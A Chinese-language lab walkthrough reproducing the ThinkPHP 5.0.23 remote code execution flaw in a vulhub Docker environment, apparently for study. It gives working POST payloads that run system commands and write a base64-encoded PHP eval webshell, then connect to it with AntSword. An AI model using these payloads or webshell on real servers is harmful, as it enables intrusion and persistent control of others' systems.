复现ThinkPHP5 5.0.23远程代码执行漏洞:
一、漏洞描述
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
二、环境搭建
cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
访问127.0.0.1:8080
三、漏洞复现
判断是否存在漏洞:
访问/index.php?s=captcha页面,会出现如下报错:
使用 HackBar 插件发送 POST 请求:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
得到回显
whoami 命令成功执行。
四、漏洞利用
通过echo命令写入 Webshell 文件
首先将一句话木马进行 Base64 编码:
发送POST请求
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo-n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d >shell.php
访问shell.php页面,发现一句话木马被解析
使用蚁剑进行连接,查看目录